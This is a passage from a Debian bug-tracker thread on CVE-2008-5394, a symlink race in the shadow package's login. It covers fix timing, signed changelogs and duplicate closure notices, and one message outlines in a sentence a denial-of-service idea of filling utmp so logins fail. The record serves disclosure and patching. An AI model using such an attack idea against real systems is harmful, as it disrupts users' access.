 yes, we use the classic login(1) from util-linux(-ng).

    Karel

-- 
 Karel Zak  <kzak@redhat.com>

---

Message #175 received at 505271@bugs.debian.org (full text, mbox, reply):

For the record: Ubuntu have fixed the problem, see
  http://www.ubuntu.com/usn/usn-695-1

Cheers,

Paul Szabo   psz@maths.usyd.edu.au   http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics   University of Sydney    Australia

---

Message #180 received at 505271@bugs.debian.org (full text, mbox, reply):

Pity the fix did not make it into
  http://release.debian.org/stable/4.0/4.0r6/

Cheers,

Paul Szabo   psz@maths.usyd.edu.au   http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics   University of Sydney    Australia

---

Message #185 received at 505271@bugs.debian.org (full text, mbox, reply):

[Message part 1 (text/plain, inline)]

Hi Paul,

On Thursday 27 November 2008 10:13, Paul Szabo wrote:
> How long do you expect it will take to "in fact" fix this bug (which is
> closed, pretend-fixed, still set to just "serious" severity)? Would it
> cause problems if I posted the exploit on Monday 1 Dec?

Sorry for the delay incurred in fixing this in Debian stable. An update is now 
in preparation and will be released shortly. Thank you for reporting the 
issue to Debian.


Thijs

[Message part 2 (application/pgp-signature, inline)]

---

Message #190 received at 505271@bugs.debian.org (full text, mbox, reply):

Thanks for the DSA-1709 fix.

Belatedly, I realize that this still leaves a DoS attack: fill up utmp
with entries for all possible PIDs, then login will fail. Maybe that is
"properly" Bug#505071 (as distinct from this one)? Please see there
about ideas on how to perform this DoS without access to group utmp.

Cheers,

Paul Szabo   psz@maths.usyd.edu.au   http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics   University of Sydney    Australia

---

Message #195 received at 505271@bugs.debian.org (full text, mbox, reply):

[Message part 1 (text/plain, inline)]

On Friday 23 January 2009 04:06, Paul Szabo wrote:
> Belatedly, I realize that this still leaves a DoS attack: fill up utmp
> with entries for all possible PIDs, then login will fail. Maybe that is
> "properly" Bug#505071 (as distinct from this one)? Please see there
> about ideas on how to perform this DoS without access to group utmp.

Although from the description I think it's definately something that's good to 
fix, I do not think it's that serious to be a DSA. Still, thanks for your 
help in analysing these issues - I hope Nicolas will pick up on this for a 
future release of shadow.


cheers,
Thijs

[Message part 2 (application/pgp-signature, inline)]

---

Message #200 received at 505271-close@bugs.debian.org (full text, mbox, reply):

Source: shadow
Source-Version: 1:4.0.18.1-7+etch4

We believe that the bug you reported is fixed in the latest version of
shadow, which is due to be installed in the Debian FTP archive:

login_4.0.18.1-7+etch4_i386.deb
  to pool/main/s/shadow/login_4.0.18.1-7+etch4_i386.deb
passwd_4.0.18.1-7+etch4_i386.deb
  to pool/main/s/shadow/passwd_4.0.18.1-7+etch4_i386.deb
shadow_4.0.18.1-7+etch4.diff.gz
  to pool/main/s/shadow/shadow_4.0.18.1-7+etch4.diff.gz
shadow_4.0.18.1-7+etch4.dsc
  to pool/main/s/shadow/shadow_4.0.18.1-7+etch4.dsc



A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 505271@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Nicolas FRANCOIS (Nekral) <nicolas.francois@centraliens.net> (supplier of updated shadow package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmaster@debian.org)


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Format: 1.7
Date: Sat, 22 Nov 2008 16:04:04 +0000
Source: shadow
Binary: login passwd
Architecture: source i386
Version: 1:4.0.18.1-7+etch4
Distribution: stable-security
Urgency: high
Maintainer: Shadow package maintainers <pkg-shadow-devel@lists.alioth.debian.org>
Changed-By: Nicolas FRANCOIS (Nekral) <nicolas.francois@centraliens.net>
Description: 
 login      - system login tools
 passwd     - change and administer password and group data
Closes: 505271
Changes: 
 shadow (1:4.0.18.1-7+etch4) stable-security; urgency=high
 .
   * The "Curé nantais" release
   * debian/patches/303_login_symlink_attack: Fix a race condition that could
     lead to gaining ownership or changing mode of arbitrary files.
     Closes: #505271
     [CVE-2008-5394]
Files: 
 ec01ac54e482ea552fdae5753d6c1745 1406 admin required shadow_4.0.18.1-7+etch4.dsc
 3f54eaa3a35e7c559f4def92e9957581 2354234 admin required shadow_4.0.18.1.orig.tar.gz
 b78d9d738765da65a6b55dea102569c3 297817 admin required shadow_4.0.18.1-7+etch4.diff.gz
 82c630b2f4e18217170a73a2dab27cba 792460 admin required passwd_4.0.18.1-7+etch4_i386.deb
 439cd50477db064cdf11d9b48c0e9af0 796578 admin required login_4.0.18.1-7+etch4_i386.deb

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.6 (GNU/Linux)

iQEVAwUBSW3rfWz0hbPcukPfAQIexQf/cUd2fZ9UooLPR830+AeYtPMC3p74736z
kYcWf/SUegGntDtylsrzTw1GWRfi5TZV8kdgBA+CPxoY0JHJlWnaUFyqwQxUR+Ux
os2crtjnjE/IT1n/+cUqLdVujwNk3LEX67W1Z1+RDcrPUTbyfRyRvTgUrLKVCZuP
PaNCMHV2Z3pqjvDrIznkWfzpp0IPeMP37hTlr4sBt+QFm8JugGyxT0tiVatEFzMf
UT9F10+Fpa6IrWHtdaSnpDlfTa31v4km07t1i/3OcobZVd/h4vsbIz+azBmlo/ar
59IfvmDhS6tM7WhFngCt/1tu50B0orFhiF8smRczhIuJx7iVy5nPeA==
=+TJJ
-----END PGP SIGNATURE-----

---

Message #205 received at 505271-close@bugs.debian.org (full text, mbox, reply):

Source: shadow
Source-Version: 1:4.0.18.1-7+etch4

We believe that the bug you reported is fixed in the latest version of
shadow, which is due to be installed in the Debian FTP archive:

login_4.0.18.1-7+etch4_i386.deb
  to pool/main/s/shadow/login_4.0.18.1-7+etch4_i386.deb
passwd_4.0.18.1-7+etch4_i386.deb
  to pool/main/s/shadow/passwd_4.0.18.1-7+etch4_i386.deb
shadow_4.0.18.1-7+etch4.diff.gz
  to pool/main/s/shadow/shadow_4.0.18.1-7+etch4.diff.gz
shadow_4.0.18.1-7+etch4.dsc
  to pool/main/s/shadow/shadow_4.0.18.1-7+etch4.dsc



A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 505271@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Nicolas FRANCOIS (Nekral) <nicolas.francois@centraliens.net> (supplier of updated shadow package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmaster@debian.org)


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Format: 1.7
Date: Sat, 22 Nov 2008 16:04:04 +0000
Source: shadow
Binary: login passwd
Architecture: source i386
Version: 1:4.0.18.1-7+etch4
Distribution: stable-security
Urgency: high
Maintainer: Shadow package maintainers <pkg-shadow-devel@lists.alioth.debian.org>
Changed-By: Nicolas FRANCOIS (Nekral) <nicolas.francois@centraliens.net>
Description: 
 login      - system login tools
 passwd     - change and administer password and group data
Closes: 505271
Changes: 
 shadow (1:4.0.18.1-7+etch4) stable-security; urgency=high
 .
   * The "Curé nantais" release
   * debian/patches/303_login_symlink_attack: Fix a race condition that could
     lead to gaining ownership or changing mode of arbitrary files.
     Closes: #505271
     [CVE-2008-5394]
Files: 
 ec01ac54e482ea552fdae5753d6c1745 1406 admin required shadow_4.0.18.1-7+etch4.dsc
 3f54eaa3a35e7c559f4def92e9957581 2354234 admin required shadow_4.0.18.1.orig.tar.gz
 b78d9d738765da65a6b55dea102569c3 297817 admin required shadow_4.0.18.1-7+etch4.diff.gz
 82c630b2f4e18217170a73a2dab27cba 792460 admin required passwd_4.0.18.1-7+etch4_i386.deb
 439cd50477db064cdf11d9b48c0e9af0 796578 admin required login_4.0.18.1-7+etch4_i386.deb

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.6 (GNU/Linux)

iQEVAwUBSW3rfWz0hbPcukPfAQIexQf/cUd2fZ9UooLPR830+AeYtPMC3p74736z
kYcWf/SUegGntDtylsrzTw1GWRfi5TZV8kdgBA+CPxoY0JHJlWnaUFyqwQxUR+Ux
os2crtjnjE/IT1n/+cUqLdVujwNk3LEX67W1Z1+RDcrPUTbyfRyRvTgUrLKVCZuP
PaNCMHV2Z3pqjvDrIznkWfzpp0IPeMP37hTlr4sBt+QFm8JugGyxT0tiVatEFzMf
UT9F10+Fpa6IrWHtdaSnpDlfTa31v4km07t1i/3OcobZVd/h4vsbIz+azBmlo/ar
59IfvmDhS6tM7WhFngCt/1tu50B0orFhiF8smRczhIuJx7iVy5nPeA==
=+TJJ
-----END PGP SIGNATURE-----

---

Message #210 received at 505271@bugs.debian.org (full text, mbox, reply):

Dear Nicolas,

This latest "closed" message: is that a repeat message, a bug in some
maintenance procedures? I am sure we had 4.0.18.1-7+etch4 for a long
time now...

Cheers, Paul

Paul Szabo   psz@maths.usyd.edu.au   http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics   University of Sydney    Australia

---

Message #215 received at 505271@bugs.debian.org (full text, mbox, reply):

Dear Paul,

yes, you could say these duplicate messages are due to some
"maintenance" procedures. When bugs get fixed in the stable
distribution, they first get uploaded to a "staging area" called
proposed-updates where users can fetch them from if they are in need of
them; at that point you get the first copy of the message.

After some weeks, when we accumulate enough fixes in that staging area,
we move the fixes to the stable release itself; the software that does
the move sends at that point a second copy of the e-mail. I'm not very
sure if this is a feature of a bug, but it's just the way it is. :-)

---
> Dear Ian,
> Thanks for closing the bug! Except I got the exact same message
> on 4 Jan already, so am puzzled by this duplication.


> Dear Nicolas,
> This latest "closed" message: is that a repeat message, a bug in some
> maintenance procedures? I am sure we had 4.0.18.1-7+etch4 for a long
> time now...

-- 
Adeodato Simó                                     dato at net.com.org.es
Debian Developer                                  adeodato at debian.org
 
- Why are you whispering?
- Because I just think that no matter where she is, my mom can hear this
  conversation.
                -- Rory and Lane

---

Message #220 received at 505271@bugs.debian.org (full text, mbox, reply):

On Tue, Feb 10, 2009 at 09:19:20AM +1100, psz@maths.usyd.edu.au wrote:
> Dear Nicolas,
> 
> This latest "closed" message: is that a repeat message, a bug in some
> maintenance procedures? I am sure we had 4.0.18.1-7+etch4 for a long
> time now...

I have no idea what triggered this second email (first closure for stable
was on 01-060)

Best Regards,
-- 
Nekral

---

Message #225 received at 505271@bugs.debian.org (full text, mbox, reply):

Nicolas François wrote:
> On Tue, Feb 10, 2009 at 09:19:20AM +1100, psz@maths.usyd.edu.au wrote:
>> Dear Nicolas,
>>
>> This latest "closed" message: is that a repeat message, a bug in some
>> maintenance procedures? I am sure we had 4.0.18.1-7+etch4 for a long
>> time now...
> 
> I have no idea what triggered this second email (first closure for stable
> was on 01-060)

Probably the recent stable point release from today?

Cheers

Luk

---

Send a report that this bug log contains spam.

---

Debian bug tracking system administrator <owner@bugs.debian.org>. Last modified: Wed Jun 19 17:38:53 2019; Machine Name: buxtehude

Debian Bug tracking system

Debbugs is free software and licensed under the terms of the GNU Public License version 2. The current version can be obtained from https://bugs.debian.org/debbugs-source/.

Copyright © 1999 Darren O. Benham, 1997,2003 nCipher Corporation Ltd, 1994-97 Ian Jackson, 2005-2017 Don Armstrong, and many other contributors.